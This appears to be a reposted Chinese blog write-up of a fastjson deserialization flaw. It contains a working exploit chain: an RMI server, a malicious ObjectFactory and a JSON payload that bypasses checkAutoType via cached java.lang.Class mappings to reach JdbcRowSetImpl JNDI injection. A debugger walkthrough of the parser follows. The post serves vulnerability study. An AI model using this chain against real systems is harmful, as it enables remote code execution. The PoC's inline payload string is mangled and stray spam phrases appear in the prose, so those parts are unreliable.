最新fastjson反序列化漏洞分析
来源于:https://blog.csdn.net/systemino/article/details/98188007
前言
写的有点多,可能对师傅们来说比较啰嗦,不过这么写完感觉自己也就明白了
poc
newPoc.java
-
import com.alibaba.fastjson.JSON;
-
-
public class newPoc {
-
public static void main(String[] argv) {
-
String payload = "{"name":{"
-
""xxxx":{"
-
""rmi://localhost:1099/Exploit","autoCommit":true}}}";
-
JSON.parse(payload);
-
}
-
}
Exploit.java
-
import javax.naming.Context;
-
import javax.naming.Name;
-
import javax.naming.spi.ObjectFactory;
-
import java.io.IOException;
-
import java.util.Hashtable;
-
-
public class Exploit implements ObjectFactory {
-
-
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
-
exec("xterm");
-
return null;
-
}
-
-
public static String exec(String cmd) {
-
try {
-
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
-
} catch (IOException e) {
-
e.printStackTrace();
-
}
-
return "";
-
}
-
-
public static void main(String[] args) {
-
exec("123");
-
}
-
}
rmiServer.java
-
import com.sun.jndi.rmi.registry.ReferenceWrapper;
-
-
import javax.naming.Reference;
-
import java.rmi.registry.LocateRegistry;
-
import java.rmi.registry.Registry;
-
-
public class rmiServer {
-
public static void main(String[] args) throws Exception {
-
Registry registry = LocateRegistry.createRegistry(1099);
-
Reference reference = new Reference("Exploit", "Exploit", "http://localhost:1099/");
-
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
-
System.out.println("service bind at 1099");
-
registry.bind("Exploit", wrapper);
-
}
-
}
-
{
-
"name":{
-
"@type":"java.lang.Class",
-
"val":"com.sun.rowset.JdbcRowSetImpl"
-
},
-
"xxxx":{
-
"@type":"com.sun.rowset.JdbcRowSetImpl",
-
"dataSourceName":"rmi://localhost:1099/Exploit",
-
"autoCommit":true
-
}
-
}
漏洞触发流程
在JSON.parse处下断点,单步进入到JSON这个类中,开始了fastjson库的解析过程
经过几个parse函数(java中,一个函数由函数名和函数参数唯一确定,也就是java中的函数签名),虽然同为parse这个函数,但是函数参数不同,故进入到不同的函数中 PHP大马
-
public static Object parse(String text) {
-
return parse(text, DEFAULT_PARSER_FEATURE);
-
}
-
-
public static Object parse(String text, int features) {
-
return parse(text, ParserConfig.getGlobalInstance(), features);
-
}
-
-
public static Object parse(String text, ParserConfig config, int features) {
-
if (text == null) {
-
return null;
-
} else {
-
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
-
Object value = parser.parse();
-
parser.handleResovleTask(value);
-
parser.close();
-
return value;
-
}
-
}
在最后一个parse中,真正进入到json解析的流程
0x01 总览
我们先不急着跟下去,因为java的调用链一般来说比较深,所以我们先看一下整个大体的流程是什么样,来自己判断一下这些函数都是用来干什么的,先宏观的看,再跟进去一步步看它在做什么
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
初始化一个默认的json解析器
Object value = parser.parse();
调用这个json解析器的parse函数,来进行json解析
parser.handleResovleTask(value);
这个函数暂时不知道干什么,先放着 天天好彩
parser.close();
将解析器关闭
return value;
返回json解析的结果
可以看出来,我们真正需要关注的,其实就是DefaultJSONParser的生成和DefaultJSONParser对我们输入json数据的处理
0x02 初始化json解析器(DefaultJSONParser parser = new DefaultJSONParser(text, config, features);)
- 在DefaultJSONParser这个类中有一部分静态代码块,在实例化它的时候,最先调用静态代码块
-
static {
-
Class<?>[] classes = new Class[]{Boolean.TYPE, Byte.TYPE, Short.TYPE, Integer.TYPE, Long.TYPE, Float.TYPE, Double.TYPE, Boolean.class, Byte.class, Short.class, Integer.class, Long.class, Float.class, Double.class, BigInteger.class, BigDecimal.class, String.class};
-
Class[] var1 = classes;
-
int var2 = classes.length;
-
-
for(int var3 = 0; var3 < var2; ++var3) {
-
Class<?> clazz = var1[var3];
-
primitiveClasses.add(clazz);
-
}
-
-
}
这里就是把很多原生类都加入到了primitiveClasses这个集合中,供后面的使用
- 接下来调用DefaultJSONParser的构造函数
-
public DefaultJSONParser(String input, ParserConfig config, int features) {
-
this(input, new JSONScanner(input, features), config);
-
}
这里初始化了JSONScaner,对我们的json数据进行一些注册
-
public JSONScanner(String input, int features) {
-
super(features);
-
this.text = input;
-
this.len = this.text.length();
-
this.bp = -1;
-
this.next();
-
if (this.ch == 'ufeff') {
-
this.next();
-
}
-
-
}
- 进入DefaultJSONParser初始化
-
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
-
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
-
this.contextArrayIndex = 0;
-
this.resolveStatus = 0;
-
this.extraTypeProviders = null;
-
this.extraProcessors = null;
-
this.fieldTypeResolver = null;
-
this.autoTypeAccept = null;
-
this.lexer = lexer;
-
this.input = input;
-
this.config = config;
-
this.symbolTable = config.symbolTable;
-
int ch = lexer.getCurrent();
-
if (ch == '{') {
-
lexer.next();
-
((JSONLexerBase)lexer).token = 12;
-
} else if (ch == '[') {
-
lexer.next();
-
((JSONLexerBase)lexer).token = 14;
-
} else {
-
lexer.nextToken();
-
}
-
-
}
这里对一些成员变量进行注册,并且我们的json数据开头是’{‘,所以token被设置为12
至此,对DefaultJSONParser的初始化就结束了,可以看到在这一个函数中,做的主要还是对整个解析上下文的初始化,将json数据和之后需要用到的类进行注册,以便后面的使用
0x03 开始json解析流程(Object value = parser.parse();)
进入到DefaultJSONParser的parse方法,fastjson的真正json解析就开始了
-
public Object parse() {
-
return this.parse((Object)null);
-
}
-
-
public Object parse(Object fieldName){
-
JSONLexer lexer = this.lexer;
-
switch(lexer.token()) {
-
......
-
case 12:
-
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
-
return this.parseObject((Map)object, fieldName);
-
......
-
}
代码比较长,在上面DefaultJSONParser的初始化中,将我们的token值设置为了12,所以进入到case 12这个条件中
- 先构建了一个JSONObject对象
- 进入到parseObject中
- 因为现在的token为12,所以一路if条件跳过,最后到else块中
-
ParseContext context = this.context;
-
try {
-
Map map = object instanceof JSONObject ? ((JSONObject)object).getInnerMap() : object;
-
boolean setContextFlag = false;
-
-
while(true) {
-
lexer.skipWhitespace();
-
char ch = lexer.getCurrent();
-
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
-
while(ch == ',') {
-
lexer.next();
-
lexer.skipWhitespace();
-
ch = lexer.getCurrent();
-
}
-
}
-
......
-
}
-
}
这是一个非常庞大的while循环,在这里面进行对json字符串的语法分析,以及各种判断
0x04 巨大的while
json的解析过程是一个字符一个字符判断的,和js的判断机制有些类似
- 在while中先将键名解析出来
- 下一个值的开头是’{‘
- 因为开头是’{‘,意味着这是嵌套的一个json
- 之后到537行,再次调用parseObject,将键名传入参数,来获取对应键的值
可以将parseObject想像成一个魔法盒子,它会将你传入的比如{‘xxx’:’xxx’}这样的json解析,将它根据键值存到一个map里面,那么如果你传入的是{‘xxx’ : {‘xxx’:’xxx’}}这样形式的话,因为值也是一个键值对的形式,所以又会再次调用parseObject,那么最后的结果也就变成了一个map中嵌套一个map的结构
- 接下来,嵌套的这个json中就有意思了
java中的json不像php中的json那么单纯,java中的json最重要的是它是java实现反序列化和序列化的很重要的手段,所以在fastjson中,定义了一些键,如果这些键出现的时候,那么这个键对应的值就不会被单纯的认为是字符串
我们抽出来这个值:
-
"name":{
-
"@type":"java.lang.Class",
-
"val":"com.sun.rowset.JdbcRowSetImpl"
-
}
这个键名是@type,当我们继续调试到292行的时候
这里判断了两个条件:
<1> key == JSON.DEFAULT_TYPE_KEY 判断了是否为预设的特殊键名
<2> !lexer.isEnabled(Feature.DisableSpecialKeyDetect) 是否关闭了特殊键名的探测(默认开启)
正是我们传入的@type,所以这个json就不被认为是一个普通的字符串,而会是一个对象,这里也就进入了反序列化的地方
这里获取到我们的@type的值为’java.lang.Class’
这里就是在第一次fastjson反序列化出现的之后补丁所添加的,它限制了反序列化的类的白名单和黑名单,这次包括之前的fastjson反序列化漏洞都是因为checkAutoType的问题导致的
0x05 checkAutoType
在这里,检测了我们反序列化的类是否在黑名单里面,也就是下面的这一段:
这里,阿里玩了一个小技巧,为了防止攻击者拿到禁止类的黑白名单,阿里并没有直接拿类名称来比较,而是拿类的一段字符串的hash来比较,这样就不那么容易知道阿里的黑白名单具体是什么(当然已经有大佬搞出来了)
我们可以看到如果我们传入的类符合this.denyHashCodes定义的hash的话,就不会反序列化这个类了,当然com.sun.rowset.JdbcRowSetImpl这个类必定是被禁止了的
之后再进行白名单的校验,确保@type的这个类是完全没问题的,所以这个地方,我们的恶意类不能进入到这一段代码中,进去就是gg
继续回到我们之前的流程,因为在IdentityHashMap中有java.lang.Class,也就是这个类被认为是安全的,所以在clazz = this.deserializers.findClass(typeName);这个地方就直接获得了java.lang.Class对象
而之后的
-
if (clazz != null) {
-
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
-
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
-
} else {
-
return clazz;
-
}
-
}
就直接返回了java.lang.Class对象
0x06 回到DefaultJSONParser
在checkAutoType检测完成以后,我们的clazz变量就成了java.lang.Class对象
调用ObjectDeserializer deserializer = this.config.getDeserializer(clazz)
ObjectDeserializer derializer = (ObjectDeserializer)this.deserializers.get(type);
在这个地方我们获得了对应的deserilizer:MiscCodec对象
之后调用了MiscCodec对象的deserilize方法
进入到这个方法中:
之后调用parser.parse()
走到了这里
这里通过String stringLiteral = lexer.stringVal();获取到了val这个键名对应的值:com.sun.rowset.JdbcRowSetImpl,最后将这个字符串返回
后面对我们的java.lang.Class进行一系列的判断,进入到
继续跟进,一路进入到loadClass这个函数
简单来说,这个函数判断预先定义的类的map里面有没有传进来的这个className,如果没有的话,就把它加进去
而这个map正是checkAutoType里面的map,这个地方就是漏洞的触发点,通过将com.sun.rowset.JdbcRowSetImpl这个类加载到map中,从而绕过了checkAutoType的验证,进而造成了反序列化
0x07 新一轮的json解析
前面说过,那个大while里面是解析json用的,在第一个键值对解析完了以后,继续开始解析第二个键值对,也就是:
-
"xxxx":{
-
"@type":"com.sun.rowset.JdbcRowSetImpl",
-
"dataSourceName":"rmi://localhost:1099/Exploit",
-
"autoCommit":true
-
}
和前面的流程基本一摸一样,检测到@type字段,获取到@type对应的值,也就是com.sun.rowset.JdbcRowSetImpl,进入到checkAutoType的检验,我们直接跟到checkAutoType的检验中
前面都没什么好说的,最重要的是这一步:
我们跟进,来到了这个函数
-
public static Class<?> getClassFromMapping(String className) {
-
return (Class)mappings.get(className);
-
}
而maps里面的值为:
-
"java.text.SimpleDateFormat" -> {Class@691} "class java.text.SimpleDateFormat"
-
"java.util.concurrent.ConcurrentHashMap" -> {Class@18} "class java.util.concurrent.ConcurrentHashMap"
-
"java.lang.InternalError" -> {Class@348} "class java.lang.InternalError"
-
"java.lang.StackOverflowError" -> {Class@7} "class java.lang.StackOverflowError"
-
"java.sql.Date" -> {Class@696} "class java.sql.Date"
-
"java.util.concurrent.atomic.AtomicInteger" -> {Class@40} "class java.util.concurrent.atomic.AtomicInteger"
-
"java.lang.Exception" -> {Class@227} "class java.lang.Exception"
-
"java.lang.IllegalStateException" -> {Class@700} "class java.lang.IllegalStateException"
-
"java.util.Calendar" -> {Class@702} "class java.util.Calendar"
-
"java.lang.InterruptedException" -> {Class@704} "class java.lang.InterruptedException"
-
"java.util.BitSet" -> {Class@192} "class java.util.BitSet"
-
"java.util.Hashtable" -> {Class@236} "class java.util.Hashtable"
-
"[C" -> {Class@341} "class [C"
-
"java.util.TreeMap" -> {Class@709} "class java.util.TreeMap"
-
"java.util.LinkedHashMap" -> {Class@111} "class java.util.LinkedHashMap"
-
"java.sql.Timestamp" -> {Class@712} "class java.sql.Timestamp"
-
"java.lang.IllegalArgumentException" -> {Class@75} "class java.lang.IllegalArgumentException"
-
"java.util.concurrent.TimeUnit" -> {Class@715} "class java.util.concurrent.TimeUnit"
-
"java.lang.InstantiationError" -> {Class@717} "class java.lang.InstantiationError"
-
"java.lang.IndexOutOfBoundsException" -> {Class@719} "class java.lang.IndexOutOfBoundsException"
-
"java.lang.VerifyError" -> {Class@721} "class java.lang.VerifyError"
-
"long" -> {Class@723} "long"
-
"java.lang.IllegalThreadStateException" -> {Class@725} "class java.lang.IllegalThreadStateException"
-
"java.util.WeakHashMap" -> {Class@279} "class java.util.WeakHashMap"
-
"java.lang.InstantiationException" -> {Class@728} "class java.lang.InstantiationException"
-
"java.lang.NoSuchMethodError" -> {Class@180} "class java.lang.NoSuchMethodError"
-
"[short" -> {Class@343} "class [S"
-
"java.lang.StackTraceElement" -> {Class@732} "class java.lang.StackTraceElement"
-
"[byte" -> {Class@340} "class [B"
-
"short" -> {Class@735} "short"
-
"java.lang.AutoCloseable" -> {Class@263} "interface java.lang.AutoCloseable"
-
"[D" -> {Class@346} "class [D"
-
"char" -> {Class@739} "char"
-
"java.lang.LinkageError" -> {Class@299} "class java.lang.LinkageError"
-
"java.lang.IllegalAccessError" -> {Class@742} "class java.lang.IllegalAccessError"
-
"[double" -> {Class@346} "class [D"
-
"java.sql.Time" -> {Class@745} "class java.sql.Time"
-
"java.lang.NegativeArraySizeException" -> {Class@747} "class java.lang.NegativeArraySizeException"
-
"java.util.Locale" -> {Class@294} "class java.util.Locale"
-
"java.lang.NullPointerException" -> {Class@186} "class java.lang.NullPointerException"
-
"[float" -> {Class@345} "class [F"
-
"[int" -> {Class@342} "class [I"
-
"java.util.HashMap" -> {Class@144} "class java.util.HashMap"
-
"java.lang.OutOfMemoryError" -> {Class@260} "class java.lang.OutOfMemoryError"
-
"java.util.IdentityHashMap" -> {Class@755} "class java.util.IdentityHashMap"
-
"[long" -> {Class@344} "class [J"
-
"java.lang.NoClassDefFoundError" -> {Class@758} "class java.lang.NoClassDefFoundError"
-
"double" -> {Class@760} "double"
-
"java.lang.StringIndexOutOfBoundsException" -> {Class@762} "class java.lang.StringIndexOutOfBoundsException"
-
"[Z" -> {Class@339} "class [Z"
-
"java.lang.IllegalMonitorStateException" -> {Class@188} "class java.lang.IllegalMonitorStateException"
-
"[boolean" -> {Class@339} "class [Z"
-
"java.util.Collections$EmptyMap" -> {Class@277} "class java.util.Collections$EmptyMap"
-
"java.util.concurrent.atomic.AtomicLong" -> {Class@316} "class java.util.concurrent.atomic.AtomicLong"
-
"java.util.HashSet" -> {Class@177} "class java.util.HashSet"
-
"java.util.concurrent.ConcurrentSkipListMap" -> {Class@770} "class java.util.concurrent.ConcurrentSkipListMap"
-
"[F" -> {Class@345} "class [F"
-
"java.lang.NumberFormatException" -> {Class@773} "class java.lang.NumberFormatException"
-
"[char" -> {Class@341} "class [C"
-
"java.util.concurrent.ConcurrentSkipListSet" -> {Class@776} "class java.util.concurrent.ConcurrentSkipListSet"
-
"int" -> {Class@778} "int"
-
"java.lang.Cloneable" -> {Class@254} "interface java.lang.Cloneable"
-
"com.sun.rowset.JdbcRowSetImpl" -> {Class@781} "class com.sun.rowset.JdbcRowSetImpl"
-
"java.awt.Point" -> {Class@783} "class java.awt.Point"
-
"[J" -> {Class@344} "class [J"
-
"java.awt.Font" -> {Class@786} "class java.awt.Font"
-
"java.lang.NoSuchFieldException" -> {Class@788} "class java.lang.NoSuchFieldException"
-
"java.util.TreeSet" -> {Class@790} "class java.util.TreeSet"
-
"java.lang.NoSuchMethodException" -> {Class@792} "class java.lang.NoSuchMethodException"
-
"[I" -> {Class@342} "class [I"
-
"java.awt.Rectangle" -> {Class@795} "class java.awt.Rectangle"
-
"java.util.UUID" -> {Class@797} "class java.util.UUID"
-
"java.lang.SecurityException" -> {Class@799} "class java.lang.SecurityException"
-
"java.lang.Object" -> {Class@256} "class java.lang.Object"
-
"java.util.Date" -> {Class@802} "class java.util.Date"
-
"java.lang.RuntimeException" -> {Class@49} "class java.lang.RuntimeException"
-
"java.awt.Color" -> {Class@805} "class java.awt.Color"
-
"com.alibaba.fastjson.JSONObject" -> {Class@555} "class com.alibaba.fastjson.JSONObject"
-
"java.lang.NoSuchFieldError" -> {Class@808} "class java.lang.NoSuchFieldError"
-
"java.lang.IllegalAccessException" -> {Class@810} "class java.lang.IllegalAccessException"
-
"[B" -> {Class@340} "class [B"
-
"java.util.LinkedHashSet" -> {Class@813} "class java.util.LinkedHashSet"
-
"byte" -> {Class@815} "byte"
-
"java.lang.TypeNotPresentException" -> {Class@817} "class java.lang.TypeNotPresentException"
-
"[S" -> {Class@343} "class [S"
-
"boolean" -> {Class@820} "boolean"
-
"float" -> {Class@822} "float"
而这个map,在第一部分的json解析的时候,我们成功加入了com.sun.rowset.JdbcRowSetImpl(见63行),所以这里直接可以返回JdbcRowSetImpl这个类
-
if (clazz != null) {
-
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
-
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
-
} else {
-
return clazz;
-
}
-
}
因为在上面获取的map中就返回了clazz的值,所以这里就直接返回了com.sun.rowset.JdbcRowSetImpl类,也就没有了下面的黑白名单检测,也就成功绕过了checkAutoType
0x08 JdbcRowSetImpl反序列化
最后在这个地方获取了deserializer,并且通过这个deserializer反序列化了JdbcRowSetImpl类,最后成功调用lookup进行JNDI注入
因为这个地方牵扯到java asm直接生成字节码,实在是有点看不懂,就只能跳过了,之后再学习吧,tcl
最后给一张经过asm之后的调用链吧
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connect:643, JdbcRowSetImpl (com.sun.rowset)
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setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
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invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
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invoke:57, NativeMethodAccessorImpl (sun.reflect)
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invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
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invoke:606, Method (java.lang.reflect)
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setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
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deserialze:759, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
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parseRest:1283, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
-
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
-
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
-
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
-
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
-
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
-
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
-
parse:152, JSON (com.alibaba.fastjson)
-
parse:162, JSON (com.alibaba.fastjson)
-
parse:131, JSON (com.alibaba.fastjson)
-
main:10, newPoc (com.xiang.fastjson.poc)
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